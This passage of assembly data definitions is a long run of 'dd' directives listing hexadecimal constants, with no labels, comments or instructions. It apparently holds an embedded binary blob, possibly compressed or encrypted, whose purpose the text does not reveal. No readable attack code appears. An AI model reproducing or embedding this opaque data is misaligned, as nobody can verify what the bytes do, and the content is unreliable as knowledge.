0FF05D33Fh, 730C005Dh, 0EBDE2B5Eh, 5BB03400h dd 7C9D72CDh, 0AEE8E7h, 69240764h, 92C66884h, 2E6660E6h dd 121DF08h, 26929AAh, 7044A2FCh, 3F00EE5Bh, 2177F459h dd 30E1CE6h, 0F3685B83h, 18035687h, 5A9464C0h, 68A6A9h dd 23268F8Eh, 6D0BFF27h, 8A72F31h, 2080635Ah, 0AF2697F3h dd 0E90F8BA8h, 40754119h, 0BCE66D04h, 9B60C61Ah, 76319027h dd 10941834h, 68640104h, 81BDF7BBh, 4FE3CC80h, 75F061CBh dd 0B7B90063h, 662351E8h, 0A7033BECh, 46E2E7FAh, 44410068h dd 0DB96AD9Fh, 0B2330EABh, 35809E3h, 0AD97A421h, 48C6015Fh dd 0EFBA20h, 425527E1h, 599667BCh, 0AA93A200h, 0B5E67D9Fh dd 51E4008Fh, 3484D2A9h, 0F900582Fh, 3E1E5C63h, 16A112D1h dd 0FC9B9C30h, 0C1E700C6h, 0B4D67479h, 550004Fh, 7DBBF83Ah dd 0D200AAE1h, 3CD15827h, 0E8AD3198h, 0FD8E030Ch, 1896A71Ah dd 2CF5F1B8h, 20B74D00h, 0F404C15Eh, 0A62B00FAh, 0FC5561CCh dd 0DC038D8Eh, 0AB5DE4D1h, 0F85AB0D0h, 1BBF6D2h, 0E90973B5h dd 0DC276277h, 42F826FBh, 790E3Eh, 0E81AFC88h, 0E05DFD70h dd 9CC7004Ah, 4990E97Dh, 0B863F104h, 0FC5308h, 9CCFA520h dd 0FD905E9Eh, 3E748F00h, 0EF421D2Ah, 8D8030A6h, 0CF6A6E28h dd 6007853Ah, 218C2058h, 79895C3Fh, 0AF81A90Ch, 21C03C08h dd 2A21944Ah, 15E30093h, 20958D5Fh, 36048F7Ch, 69D558CFh dd 5075D6C1h, 386C68B8h, 48CB369h, 89132198h, 203E629Fh dd 2021A046h, 80BA5839h, 7988973Ah, 0C14EEDFAh, 0BF3EE358h dd 667080B1h, 0CDC4C127h, 56A30007h, 6EB560CBh, 9007AF0h dd 0F9FAFB8Ah, 2AA6E871h, 0E09064E9h, 0C52A39CCh, 6163A50Ah dd 423831B0h, 3CE700F4h, 9A940084h, 6304FA07h, 863CC3E1h dd 7F179D71h, 95A3480h, 6C2CD1h, 6C61BC5h, 289EA488h, 0B0018300h dd 4640D477h, 24FE59h, 0BD731D8h, 21F57366h, 8961791Fh dd 975D8A41h, 0D8ECBE09h, 0FCAF00C5h, 0E0FA415h, 5600EB62h dd 0E941B949h, 3F8A2339h, 7900A64Dh, 886427B0h, 740063D9h dd 5CB3DA6Fh, 3A2914Ah, 7F95E2E4h, 918F158h, 0AA20D957h dd 56A200A9h, 2F371C02h, 0AF1CD02Eh, 168039FEh, 0DFD96E34h dd 5071604Fh, 0BBA56BFAh, 10C0A374h, 1A1498BCh, 0F59606D5h dd 8AEDD5Fh dd 0E321A160h, 9314A0h, 0D00BC16Fh, 0EEAF2752h, 8EEF6A00h dd 0C2B557F8h, 94E9E9B3h, 0BCBC90BEh, 0D4033077h, 6315FA11h dd 2F428C01h, 1F5B6FB8h, 21E60898h, 630C0D90h, 104F2199h dd 30840FDAh, 137FC3h, 5DEC0BACh, 180020C6h, 9248A943h dd 0FC17E4F4h, 0DF352C21h, 22970E12h, 0F2405DACh, 0A4187873h dd 0B4C9ADBCh, 76E807CCh, 0F00D36C3h, 542518CEh, 77094A01h dd 0A9977984h, 0A86575F4h, 77E806BCh, 0AC1A07E1h, 5035D523h dd 0D862897Eh, 4F90B41Ch, 0F5C0949h, 53B9586Ch, 93300FEAh dd 0D5E3E8DCh, 8309834h, 0F281214Bh, 0F0680030h, 0BA32341h dd 0E4A86675h, 0A2EE8942h, 0BEADAB00h, 0F0EC0F3Fh, 19EF143Dh dd 0A423DC47h, 0A414990Fh, 0E2389ED5h, 281F14EAh, 34819AE1h dd 7CB1BCE4h, 0A8E502F0h, 859EBCh, 6526A01Ah, 0CECA280Fh dd 661EC30Bh, 99FA00A5h, 332EC4h, 0EAFE5B5Ch, 8436A147h dd 407A1BF0h, 0D9A74230h, 0AB64D4A6h, 7C59E39Ch, 0DD3D0461h dd 82B507B9h, 0ED19CD10h, 900C18h, 10674224h, 9B40ECC4h dd 46046364h, 680EAD00h, 3123D595h, 1F500C2h, 0DC3C9B90h dd 0A61522B9h, 3A8F0D9h, 38576B2Bh, 5D74B0F3h, 0DA880584h dd 8026F1Dh, 0E5C0A1DCh, 46DC9230h, 4D2290h, 9530ED74h dd 93941CE9h, 651DE200h, 42C5F85Dh, 0E85B6006h, 0E8E36A69h dd 87E0D815h, 0D5DB09C4h, 620C875Eh, 0A7A22841h, 0EBE830A0h dd 14089618h, 0C486D518h, 9E9940A0h, 1EF414h, 98B8F955h dd 57C55978h, 13DAE422h, 2004AB4Eh, 143B6B1Ch, 231FDD00h dd 5EB05F81h, 9CC128F8h, 1AD16089h, 71628A64h, 0E0232F00h dd 31D972DAh, 0EA890F8h, 75F41847h, 6C5D0BC0h, 9E005422h dd 0ADC6A958h, 31CE35D1h, 7BD98A66h, 0BB5880A1h, 59BC541Ch dd 2A763B7Fh, 102368CCh, 0E1A2AE01h, 5318BDE2h, 4A6A588h dd 0D59D20A2h, 0F6BC8143h, 0B3A30048h, 0B1C93E9h, 0A9046318h dd 0F2CCE07h, 0DD631097h, 1074A289h, 0FCBCCB4h, 83069FCFh dd 59609960h, 841C4E85h, 8B413C8Fh, 0FF429E5Ah, 48043080h dd 32ED7120h, 7F12AF00h, 28845A49h, 7C30039Bh, 47BEE5D5h dd 6E48A01Fh, 915C98C0h, 1D480DDh, 425D4BECh, 254C95D8h dd 0E62F014h, 0B7BFE300h, 7231C34h, 0D9525C33h, 0EBB6C300h dd 2F21724h, 0FCC9D760h, 3D3A4C1Ch, 63129B27h, 2AAC0EA0h dd 0F0E6EB40h, 7530C138h, 0E332E15Ch, 0A0490039h, 0EE7F7237h dd 3B006D0Dh, 97663841h, 712456E8h, 0E2C201BEh, 0E0D97175h dd 0B53424A5h, 0B126D618h, 927F22D0h, 7C9B0E80h, 2D8039CAh dd 0C094C618h, 0DAB2E00h, 362372FBh, 496B0047h, 4B04137Ch dd 2E38F1BAh, 1E4E80F2h, 0B408E6ABh, 0B9630052h, 3DBE967Dh dd 9828EC11h, 7CE68734h, 0D8003B7Bh, 57CEEAD0h, 36FF8A6h dd 0FB4CDD63h, 9588628Fh, 0E0EA3B70h, 9FD4980Fh, 81BDEE25h dd 0A7B58B04h, 21080898h, 2500977Bh, 87143FD6h, 7685EFB2h dd 0E6F7002Bh, 7121B0A3h, 80C0F211h, 0A4A98CEh, 91DCE5h dd 6FA1FBDDh, 661BD0DCh, 0DE08CC67h, 26A60021h, 0ED30D1FBh dd 7990357Bh, 6BF1150Eh, 0EFADE00Bh, 6C96B159h, 3491E806h dd 28199074h, 4211689Ch, 64C55ECh, 30ACA4F1h, 606009E9h dd 5590A221h, 4A363BFEh, 0AB915980h, 0CA21A7F1h, 78C71700h dd 0D6A1613Fh, 3DBB32F0h, 8330DB60h, 0F1491155h, 816188CCh dd 0E8559B9Dh, 4B2CDC23h, 1B210400h, 8FF46531h, 0EBE9303Fh dd 67B361F1h, 6F3383E8h, 0F7D0D137h, 0CD4A0EC0h, 34ED020Bh dd 3CAF5473h, 0F40D8081h, 0F8FAE910h, 0CEFE969Dh, 5B008FF6h dd 7A6C3E70h, 8177F2h, 0C0AEBD80h, 0DB564363h, 0CA91F70Fh dd 8388A0ECh, 712224h, 0C35D4D9Ch, 1A5256E2h, 12D9DC00h dd 5FD61126h, 0ACFE4Bh, 0F4CCCD3Dh, 857FC16Ch, 7E9B0A00h dd 70BA327Ah, 614B009Eh, 77F16D21h, 0C8011F22h, 31B5F6BDh dd 6FC43226h, 0F200009h, 3F2F59A2h, 0B00E99Fh, 0A1E83B8Ch dd 82AE46h, 0C474C551h, 2C48BA08h, 91D9AD0Fh, 0A3550360h dd 7275C15Ch, 38339C0h, 71124833h, 5EE89177h, 0CA0E4360h dd 98DA582Eh, 3F623510h, 0EBA889Fh, 954B499h, 15218726h dd 67E0987Ah, 7F731B7h, 0E3763550h, 27F180DCh, 553E1536h dd 79751B81h, 0D5391D18h, 0FDAF0658h, 2A0011D0h, 0B96C1D25h dd 37D1541Ah, 0AC080251h, 2D761121h, 0E4FC9700h, 0BA56D426h dd 0B9F40025h, 9ECEA6D0h, 0D8D462F1h, 0D2650C4Eh, 0ECA385Fh dd 639A887Eh, 0CE31F4C1h, 520998DDh, 0CB01E21h, 6DB68E9Ah dd 83005E10h, 580DCC94h, 0ED67455h, 6C0236EBh, 3D69C360h dd 7A180A57h, 43316BB6h, 32A400BBh, 135A7D12h, 0E600CECDh dd 0C6726DFAh, 51D0C3CBh, 0B002B42Dh, 9F5D3011h, 565CBB11h dd 10802988h, 0AD3D9875h, 205E673h, 62B85D71h, 8CA1C4FCh dd 0D968B2CAh, 0B19EC145h, 323C7060h, 0B78BA200h, 47A9A400h dd 1526AFCCh, 1AEEEEh, 0FF9E670Ah, 8DB37543h, 54CA1309h dd 191C0036h, 7B6DB8h, 68B10584h, 3A949AF5h, 0A5632600h dd 0BFF28CDFh, 8F7C0EBBh, 0FE40048Eh, 865ECDB9h, 97078B00h dd 88B4BEFFh, 5B83935h, 4E2F0E05h, 0CAEC060h, 240113B9h dd 0B1FF4648h, 72F04F10h, 0F9A60045h, 40222880h, 0F439ACC4h dd 5B8DA659h, 0D0C28300h, 9404B4h, 21E29A02h, 73B9177Bh dd 6171B000h, 452D54BFh, 0E00200C9h, 740A82ACh, 0DA00C787h dd 2AD0793Fh, 4C68F5h, 0FF4A61C2h, 1E3286F8h, 0C5730900h dd 0C7A28E93h, 961300C6h, 89CA1688h, 675D179h, 9DFC3E00h dd 2768FB67h, 6B7C1Ch, 460E95CBh, 89414457h, 0B532A300h dd 5D62256Dh, 8FF000A2h, 0F293D981h, 0C4004FA5h, 94D8743Ch dd 3A96E7h, 181CFE6Dh, 6AF2A88Bh, 6704D900h, 0ECD3FFCBh dd 0EABCF009h, 768CF660h, 222E0213h, 70990E2Bh, 35AA18E0h dd 597EC600h, 0A30550D0h, 38FE23h, 0B4E7B318h, 0EBBF79F7h dd 0C5AD1B1Ch, 0B683FA80h, 9F68D3h, 10585DA9h, 45196FA5h dd 0BB9C3706h, 0F48E367h, 0A216B957h, 9E834D80h, 0AB1D5A59h dd 1186D203h, 585760h, 0DD45CEE4h, 9AF447AAh, 8952170Ah dd 2E1FF39Eh, 3022D980h, 309FE14Ah, 8871C20Eh, 38007E19h dd 0EABBE883h, 187D2D8Eh, 59ECAD21h, 35745AF8h, 2E00E7F0h dd 0BEE013E1h, 7F0F31h, 53C392DCh, 0ABB59689h, 8AF93700h dd 0B9F1B6DAh, 0F55600A4h, 2A71AF7Dh, 29007FA9h, 0E2307317h dd 5F6C60h, 0EFDB94D5h, 59B064AEh, 3574B707h, 0C1FCA7B9h dd 0F3F71F50h, 0B42C4098h, 0A6F28251h, 0A3105303h, 0A00632E9h dd 876DEDh, 0EBBBCB21h, 348C033Dh, 0A14C71Fh, 0F04BD282h dd 0E8DDE073h, 94EB004Ah, 8734DCFBh, 0C1007824h, 6453BFE1h dd 76A240h, 0C951C67h, 3BB1E6C2h, 0AE4E000h, 17A0388Ah dd 9C1B502Dh, 0B1436EDFh, 9D3C2C00h, 36F2AA85h, 0E775A600h dd 60D60DFEh, 0C0A000EBh, 0AD2607C1h, 0E0031ECEh, 53B6E194h dd 57CB24h, 65AD550h, 58DFAEAFh, 349BB700h, 0D112B8FBh dd 1EEA004Dh, 0F997A4ECh, 1A26C642h, 0B7008985h, 0FB2C2F57h dd 457DB1h, 0E9400495h, 0BAAED903h, 46537600h, 18AB596Ah dd 0C5E4B5h, 8001F110h, 2B84D6B4h, 85E84014h, 79B009Ch dd 60A3021Eh, 7A63061Ah, 42D6E6Ah, 0BFAFC000h, 0A1D94BE9h dd 0D30E0ABCh, 98417EBh, 0D9804258h, 6647CFA2h, 5B00E27Fh dd 0BB06C15Fh, 91FE61h dd 3C7D7E37h, 49CACD8h, 0BD00CD71h, 3B5BF9B3h, 1C96EC74h dd 12E27D9Dh, 0C280593h, 0A5D580F6h, 0BF0FDB8Eh, 83019B95h dd 0B3632ADCh, 1669B0C8h, 4A273BDh, 0A0C4E19Ah, 78ABC0E2h dd 0A500DF37h, 0F6B7DB74h, 0ECAECAh, 8DDD56F8h, 0B9F96D58h dd 8B2101Eh, 0A6C7F3C0h, 3C5384F6h, 828E9E34h, 7B201DA0h dd 0ACB88AC0h, 0F95BC00h, 0E9018CEEh, 11940010h, 631D5D07h dd 807B62Dh, 2642B41h, 3D34A940h, 2F0D1E65h, 0CE0C7A0h dd 568F936Ch, 2506BB0h, 9F97D200h, 78AF5879h, 32F038Dh dd 21752E40h, 111A000h, 4CAC806h, 838000F5h, 0CCE6CBA3h dd 409057FAh, 80225A3Eh, 0C015BD55h, 1E3E01B2h, 9FB8D22Ch dd 54EC073h, 25C1DF40h, 2F99900h, 0A9B72CB1h, 54241CF8h dd 18A2D7FFh, 0C5DD7090h, 9564F200h, 1E7502AAh, 5E6E0046h dd 4B384DFFh, 0B77347A1h, 2A59D800h, 0C09C6B1Fh, 0F5FE00AEh dd 81916D57h, 51004886h, 32DC3084h, 0AD8BFBh, 571C28BCh dd 47970D33h, 7611E400h, 0AC6F6219h, 83C20327h, 0E6FC8D69h dd 90D3E008h, 0D9CA0058h, 0E0D1783Eh, 304A3Dh, 0A4E71359h dd 7F7C01CDh, 2FF100E3h, 1A698ED3h, 6F4DE5A2h, 8DEB0198h dd 0EF861037h, 0D3971080h, 467BB08Ch, 2CD05B07h, 7DB2EE42h dd 0C04CCB56h, 30F87684h, 1180DFDCh, 0AF021A29h, 5192E67Ch dd 658E80B7h, 607834h, 4FF13512h, 54CCBE3Bh, 0E6A31500h dd 76B34A98h, 0BAF800FDh, 0DB1A2407h, 91007D35h, 74A01517h dd 144C48AEh, 0BC14458Ch, 20E47600h, 0C7306FBBh, 0E648B873h dd 0F0D10098h, 2509CBEFh, 0D9A7003Dh, 0B9F3FD58h, 740039F8h dd 3CED56ACh, 3CADE66h, 0D6B2F716h, 80EFEFE6h, 5A4F6C9Ch dd 38F4961Dh, 0DE712EC0h, 8979B1h, 530E7C49h, 691358DBh dd 62CD378h, 0F5000F36h, 5F9BD565h, 5BDB00A0h, 792E95C9h dd 0D1005C04h, 0F31AE175h, 3CCACC89h, 8A818DE6h, 4554889Ch dd 506310h, 4A4CF807h, 69C79Ah, 548628AAh, 0DDC1CE48h dd 3444180Fh, 0D6A7209Fh, 370C7Ah, 0E6A54074h, 5A0D20C4h dd 0AB09171Fh, 3F801B80h, 1DB08F6Eh, 0C044E678h, 7239A731h dd 0CC002B2Ch, 9F1E8274h, 3D50B5Ah, 0DFEA99D0h, 0FF8075ABh dd 68002851h, 0B8ACF134h, 3192C0h, 0EE19B6D1h, 3E36F45Fh dd 7A00177Dh, 7DEC4035h, 8745DEh, 0BD63B2E9h, 49222F53h dd 0FB91C305h, 6C80B827h, 8243A1h, 59868C10h, 0DA1D5118h dd 0E4C63C02h, 681EE584h, 0FC12418Ch, 0ED040159h, 2AA16B5Bh dd 0EFC0D490h, 0A2652802h, 892C0A2Dh, 93F0908Ch, 0BAD400E3h dd 71419E1Ch, 0D10090A8h, 46011FC1h, 0C0E8AE28h, 9F66BEE0h dd 96304204h, 6C9D711Ch, 9D973DCh, 4CBFAB51h, 0FBDB5D07h dd 0C90C2C0Bh, 64790F10h, 0AF200083h, 91A82DB0h, 3D00D1C8h dd 2FA956E3h, 71ADF430h, 1D70EC7h, 66619E5Eh, 0C8973980h dd 0C100028Dh, 40102E63h, 6CD7894h, 933DD907h, 5C0058BDh dd 5ADE1C8Ch, 7CD89F6Fh, 7C647CD7h, 0E558A042h, 80E35CBAh dd 4CD60E08h, 0B1E3503Eh, 7C0E5078h, 800454C9h, 97765AD3h dd 10C34D64h, 990F7C42h, 3FC2E39Ah, 9F60FC56h, 0EB004367h dd 8B23E653h, 0F581D1Eh, 0DC964E0Eh, 31051100h, 970730A5h dd 8A39B6CEh, 0D7B10A70h, 3CF903EBh, 82D066A7h, 0B829A8B8h dd 0C238FF60h, 0F2FEF7D9h, 13EEE5h, 99F9B7DEh, 57C5A5CEh dd 0C8988200h, 48A278BCh, 0CCE7037Fh, 88D64F18h, 0DAF669F0h dd 0A7236E01h, 0C8420645h, 163868D6h, 79FB0556h, 5F60DABAh dd 0ABA80684h, 5A0CF1EEh, 31A63F55h, 29300B98h, 1D80EF4Ch dd 0BF74BA95h, 0CC53C203h, 0A908119Fh, 0D821F491h, 7AF62C8h dd 17C53CC4h, 8F80D975h, 0C1E9E1B8h, 1459A82Bh, 1151D840h dd 0C95AEA68h, 16832A99h, 0D3981287h, 6C615F91h, 420E30B1h dd 72E86760h, 0F12C00D1h, 0C6DD1F0Fh, 0F307C1F6h, 0A828CDDEh dd 195FB881h, 14293987h, 0D2407EB7h, 6ED9D727h, 0BE8A360h dd 351D36h, 0CC2DF368h, 6760A9D3h, 0B89A39C7h, 0E3399F0h dd 0C3F8002Bh, 65205744h, 0CD3FB2AFh, 5C542897h, 0B0E2212Eh dd 42C600BCh, 0BCB14446h, 2F820035h, 2E3EBB02h, 531F4031h dd 2B5E987Dh, 76C50100h, 605FB0BAh, 31E5796Bh, 0E7904C8Ch dd 0C8E21701h, 8E5542E7h, 30B1D3DCh, 0E369A138h, 900B23Dh dd 5E94D1C4h, 0BF54EBh, 39466AF8h, 8537F0B5h, 423D0900h dd 0A5FD454Ah, 6D9D061Bh, 716160C3h, 8C7C2FE8h, 98FAAC63h dd 0BFAD9046h, 0A04C31F3h, 0F894CDDEh, 14780D82h, 9F5D970Ah dd 0E80ADC31h, 0C44F98CBh, 2890E276h, 0E388E6h, 0F2E0FB8Bh dd 139563D6h, 0B1172E00h, 5FA1F3DBh, 684857h, 0E6B49200h dd 7C46C4FCh, 0F514831Dh, 0DDC0AB9Eh, 72FF700Fh, 46D53F3h dd 3D9C05FAh, 6800829Dh, 79D14890h, 5FF503F3h, 0A697DD92h dd 0F8493087h, 0CD1E9C01h, 1FA603Dh, 0F6F376A7h, 2990983Ah dd 0CF5684A4h, 4442D948h, 21B824FEh, 8512D0F7h, 89FBAD10h dd 44A8089Ch, 2284F1F7h, 7020E666h, 61B8009Bh, 0E92D943Eh dd 9F000223h, 228F5B80h, 704CDD1h, 871374FDh, 69ABC09Dh dd 20096D0h, 54104F3Dh, 0E09C3381h, 249400E9h, 38060D85h dd 900405Bh, 3A6FF9Dh, 0C27FDh, 6C4263B9h, 2C88DDE4h, 3995380Fh dd 8A3CE06Bh, 7D5A7456h, 182203F0h, 5968A864h, 0E1E81000h dd 0B041D00Ch, 50F60A1Fh, 0BC6E71h, 5B5A8523h, 0D15CAAA9h dd 0E6930B96h, 1E9C0004h, 7140F11h, 0C6C28F63h, 8361404Fh dd 7A0029AAh, 0D417684Ch, 48B8BFE0h, 91CA823h, 1D5CC0E2h dd 0E80D7E03h, 0AFADC700h, 65B8F9EDh, 3480008Ah, 63F14B21h dd 0D9000FB0h, 4F7D52A5h, 30DCECC6h, 8048551Fh, 0AF072FCBh dd 0E21641E5h, 0ECA30660h, 46BF070Fh, 3E121E9Bh, 4145ED00h dd 7C58A6DFh, 16920066h, 121F7EA7h, 0E475FFh, 91D4F6E6h dd 0FA0F6ED0h, 3D445849h, 385700CCh, 68B078ABh, 79010050h dd 0E48F118Dh, 3900F465h, 46B4BCAAh, 1C6EEB9Eh, 0DD7508C9h dd 0E330C14Dh, 0C466D3ADh, 120086FBh, 214EF82Ch, 31DB04h dd 0B843E167h, 683D7AEFh, 59F24D2Ch, 1981D800h, 3A3B90h dd 0B9E49C6Eh, 0D1290466h, 0C8928803h, 8A5E802Eh, 85224027h dd 0CCE63Dh, 0A435F30Dh, 652EC479h, 0BD0009ECh, 81592C31h dd 0DC0520h, 4F78A908h, 0D0AAFD6Ah, 0EE824200h, 0F2BC1CD4h dd 7EB1006Dh, 842A3817h, 0AC00E408h, 2B391F63h, 0EA068Eh dd 81807BBAh, 0C1BDA386h, 143E540Fh, 0B23980F7h, 0FD0E97h dd 15A617DEh, 1EE135BFh, 880E9176h, 0C0D893EAh, 0CD2DCA5Ah dd 5DEEAEh, 0CB8F36E9h, 8D88D289h, 0BA68D100h, 4FFFF5F9h dd 0E17B00C7h, 66EC291Fh, 0EA3C8C67h, 9800F3A5h, 7B084680h dd 33DC85Ah, 0DE4202F6h, 4A0F8E3h, 4950AF38h, 0C006098h dd 0F33B733Dh, 7583EE0h, 437CEBAAh, 0A9A7C086h, 0D193599h dd 4C304425h, 1F5957F4h, 83D8C7h, 2BAC452h, 9D07A2DEh dd 0B92DB4F6h, 0EEFFF240h, 3933241Ah, 53A23F98h, 0B03ECA00h dd 0F9AB56Ah, 0EEAE0E13h, 8B006523h, 0E787EA80h, 3CD49507h dd 0E5801E04h, 5528AFh, 8920FEA2h, 0F6DA6E87h, 694FB707h dd 0EDF0D54Eh, 3C4619F8h, 0C3009A5Dh, 7EEA7874h, 4F638CA7h dd 0E17609B6h, 86E04117h, 0BEF608h, 0A2DFF2D7h, 0FDBFE198h dd 23011BF6h, 4CD4A65Dh, 4A80A9AEh, 5B6DD83h, 1008A76h dd 255FA5FBh dd 13AAB284h, 0ED4C9h, 0DE8119C0h, 89018C74h, 0A180E244h dd 60DE6FFBh, 66E414h, 7C673394h, 0AAC95AE1h, 1DA23603h dd 0D074B016h, 0A03C8Ch, 0A5C57A49h, 4D589D6Dh, 7D036098h dd 0FB7B065Fh, 6250B894h, 4581015Dh, 9CDDE8A1h, 89C2FEEBh dd 76FB9800h, 0E203C035h, 0BAA8C63Fh, 5B97E873h, 64674C6Dh dd 72BC3700h, 7831FADDh, 0B401CFECh, 2099DC61h, 0E4406CC9h dd 7F6F7775h, 288F1AACh, 3C685298h, 0DA289DE8h, 0B448E495h dd 0A8530E38h, 42629F9h, 32C02AB4h, 95F2FDh, 2C8AB527h dd 0B24F35A5h, 0C7CD312Ch, 7EF85000h, 0ECAEE23h, 14069A89h dd 0A4764B80h, 1F308E5Ch, 0F3A6E0E1h, 0FD8F0041h, 0E24C2AC4h dd 3403926Ch, 8C47ED2Dh, 0AD67B8EBh, 33C0776h, 47F8F6D1h dd 7450A0A2h, 4A00EB09h, 685C3188h, 0E89FDEEh, 34E3C5FFh dd 0F260F740h, 0E50E5402h, 608FA2B1h, 2AB90DDCh, 0C634013Ch dd 0CEEE5213h, 0B361875Ah, 6A14BEB2h, 0C236FE80h, 0FC1E0082h dd 3540D3B5h, 7F007A20h, 9B0E4DDEh, 0B39C2Fh, 4F939881h dd 0D83F9A52h, 32090107h, 0C05E0CF1h, 7D8A697Ch, 1C6000E8h dd 0F0372D47h, 0C000CCADh, 6F445CD1h, 763CF7h, 0BA64B44Bh dd 0B363DEBEh, 0A5755501h, 539F7AF9h, 261D8FCh, 0B97764ABh dd 0CA61B3AFh, 8F3DC8D5h, 51F32E00h, 5DBC55FCh, 0B5ED0029h dd 4812DB46h, 0B000B34Dh, 0A811930Bh, 1DCDCAE9h, 83F06C39h dd 13DE7AE2h, 167D2290h, 0AF01E472h, 5A1A0D9Eh, 5420B7FCh dd 85324D4h, 1990080h, 916F45Eh, 20994097h, 3EF007Bh, 0DC64EEF1h dd 0E700B314h, 49CB6086h, 3A22B630h, 0F484B09Dh, 87BC1261h dd 25446041h, 0D82427EDh, 9924804Fh, 0CA00861Dh, 0B543267Fh dd 9923004Dh, 74077C0Fh, 8E793328h, 0C62DE712h, 6FE85400h dd 0EC2CB81Eh, 82163B4Ah, 0FF813200h, 0AC38B70Bh, 99D16000h dd 0C646D88Ch, 0F65200D4h, 5ECCB623h, 18001ACEh, 0E0620398h dd 2C6A0475h, 4431740h, 0C04A329Bh, 0ED1BBC60h, 60816500h dd 5AD7CA74h, 9AE7006Ah, 1E848024h, 26F81DBDh, 9000EB70h dd 48FA3AF5h, 0F4765BCh, 0B64BC29Dh, 527DA380h, 0C87F9966h dd 0B7C69A50h, 5F257B12h, 893FD800h, 3603Eh, 0FE91138Fh dd 9E85DEC2h, 8E84653Fh, 80D662C8h, 0A317A14Ah, 0EA6A0047h dd 32E448DBh, 3600CF80h, 709FE9BBh, 419E94h, 0CD11A8C4h dd 2453D587h, 0C53802E2h, 555A8005h, 197169D9h, 44C407A9h dd 7033C25Ch, 782D5394h, 0B55BF700h, 3F7C240Ch, 80A416F6h dd 0E8DD0389h, 0FEE88B90h, 59053B94h, 0C745D215h, 77C0C800h dd 13D176h, 0FA7EF9CBh, 0A6D90A20h, 60C7C300h, 0B1622824h dd 951000F4h, 3FAA4C7Bh, 34009DDBh, 5032564Dh, 7E8A4B40h dd 3ED61128h, 8BD30F08h, 240352F2h, 0E847AE46h, 4C37D8CEh dd 362688F8h, 0B1B1E11h, 0B400ACDDh, 0ADA4C66h, 25C8FD0Eh dd 4AA2C0ABh, 4E965FBh, 0DBC4983Bh, 0C23C80A9h, 0D51BCF46h dd 0B010AA7Eh, 3F5C81F6h, 9A80E475h, 79222EBh, 0F4183852h dd 0D760ABD1h, 794E009Ch, 6768FCF1h, 830044CDh, 28C75836h dd 176CF84Bh, 1613457h, 4D468928h, 501DD8D0h, 4A647A00h dd 27F33137h, 52F0006Eh, 2E98FF82h, 0F4B01513h, 0C8FC103Bh dd 0BF8A004Dh, 3D055EE6h, 773C0B4Eh, 5F0CF9CDh, 0EB2EE288h dd 80B9D0FFh, 5B784405h, 702B0A9h, 770FCF7Dh, 0C1825097h dd 0C3002A4Ah, 64AFF296h, 0A7537E0h, 0D2A08879h, 1CAF24E0h dd 577804Ch, 7C28B378h, 712FBD03h, 88E6597Dh, 0C9D7818Bh dd 90105879h, 3A14FAEAh, 0FA01931h, 4CC198ECh, 0A1117Ch dd 4C772028h, 242C5C3Fh, 0EF75400h, 0E3BBB137h, 0C014CC2h dd 9052B200h, 0BD71E80Ah, 0F18DDD00h, 0FEB6F9C3h, 4A05E895h dd 0D54802CBh, 8C6071D1h, 9CBAEB27h, 0FB82EC00h, 0B0C30C8Dh dd 64D8000Dh, 0B959487Dh, 2601E9BFh, 91145B5Fh, 0D0CD091Ch dd 3C0F60h, 0C7EBA508h, 0A973358Ch, 3A7E3D00h, 89DEEEF2h dd 29CF07BAh, 0A0CE678Dh, 5DFF6A4Ah, 9AC4806h, 99144EEh dd 17EFA20h, 0E27D9082h, 0D2FCCE8h, 33CAA48h, 0B79CDF06h dd 5B110029h, 4CE726ADh, 24033986h, 0A7373D5Fh, 0B847A310h dd 16EF623Ch, 9493CFh, 0F04F0454h, 280065E1h, 36961FB1h dd 1F09F685h, 45591281h, 0AA22F5h, 3C843E84h, 2600566Eh dd 0E0E818B7h, 5544BFh, 835E7AF8h, 4DEEB7Dh, 0C409FD78h dd 0CD53F6h, 73D55FCCh, 170E0083h, 5AB43AA2h, 0E000CADEh dd 0A55DB85Bh, 60E93521h, 457E685Fh, 9604BDB1h, 131A1E92h dd 2081AC81h, 2653ECh, 0BFC1F6AFh, 25D3A572h, 9B9FDD07h dd 0C8054B54h, 0E41E040h, 0E22FECh, 0E76270C3h, 0F379A138h dd 45754C00h, 4E3F1B59h, 0C0365F26h, 90DC2944h, 4C4D9C00h dd 0E91E2D3h, 285E7A73h, 0C00602h, 0D095A193h, 7A6EBE51h dd 0D2DEAD04h, 88C0C598h, 60CBBA68h, 1752B0EEh, 0E471D5B4h dd 6F622300h, 1C5CB321h, 0BAB624EAh, 0B9D802Ch, 0AEEE3D86h dd 43923000h, 51102C22h, 5F07003Ah, 0BD7FAFA9h, 0BF020515h dd 24FD78DEh, 8B4C687Dh, 0BCD4EA0h, 5C00CF1Ch, 7F3F3628h dd 0F0B9FB00h, 0A9F47819h, 807B01B4h, 0B0A2CC63h, 3D2180DAh dd 1845083Fh, 3B203F95h, 12185AB1h, 0ABB440DCh, 0CD1C3DF7h dd 0AC0FA72h, 0AF6853D8h, 4CF848CBh, 830C2426h, 0A5F739BFh dd 80300999h, 0B71792D9h, 13E62Bh, 0EE0533B4h, 77B5C7C5h dd 0D21C0754h, 0D5FA9275h, 7808E93Eh, 85306079h, 0E14EE046h dd 0FA8F00F0h, 0BE3ABA1Ah, 620F94EBh, 200C8627h, 2C74327Ah dd 751F0106h, 0EF0A1A6Bh, 0F380D2C1h, 0EB427D6Dh, 12AD9C01h dd 0B9AEDC3Ch, 35E5DCh, 1876D3B1h, 28A9D85Fh, 3D774E01h dd 0C5EC62E7h, 0C60C6E1h, 6EF00CAh, 0F0FB52E2h, 0F1006D7Bh dd 33CD25FAh, 949C1798h, 8D8E0268h, 0FC80197Dh, 6CEDF907h dd 9B5B18C2h, 24B478FAh, 2491ABB4h, 0C79A13D8h, 5870E024h dd 1EE4954Bh, 849658h, 3A764F90h, 51FF5026h, 7B6084F9h dd 57030036h, 0C8480881h, 17547E10h, 210E58E4h, 245DBDFEh dd 409128EDh, 0F7C0BCADh, 202F00ABh, 607E1CFDh, 9172A2DEh dd 8F763500h, 955DFB3Eh, 0F20B0263h, 26094564h, 3F004464h dd 53E00F6Eh, 9A02DB7h, 37463BD5h, 36C061h, 281748h, 57B12CFAh dd 0DC051ABFh, 750E26FAh, 0C020DF89h, 0D6EE1E45h, 805E60E3h dd 4CC5B4BBh, 107F4D30h, 0E2D719D1h, 0CEF117D4h, 3A58008Fh dd 0CDA7B510h, 8064A13Fh, 0ADED5567h, 163832Ah, 1F87F8EEh dd 965CAEF6h, 0E0377E91h, 900726h, 0EFED9398h, 2BF2BE3Eh dd 1F653Eh, 92C0337Eh, 852852h, 6422ED4Fh, 0C5C46886h dd 60CE48h, 994EA38h, 3E995590h, 18E4F04Dh, 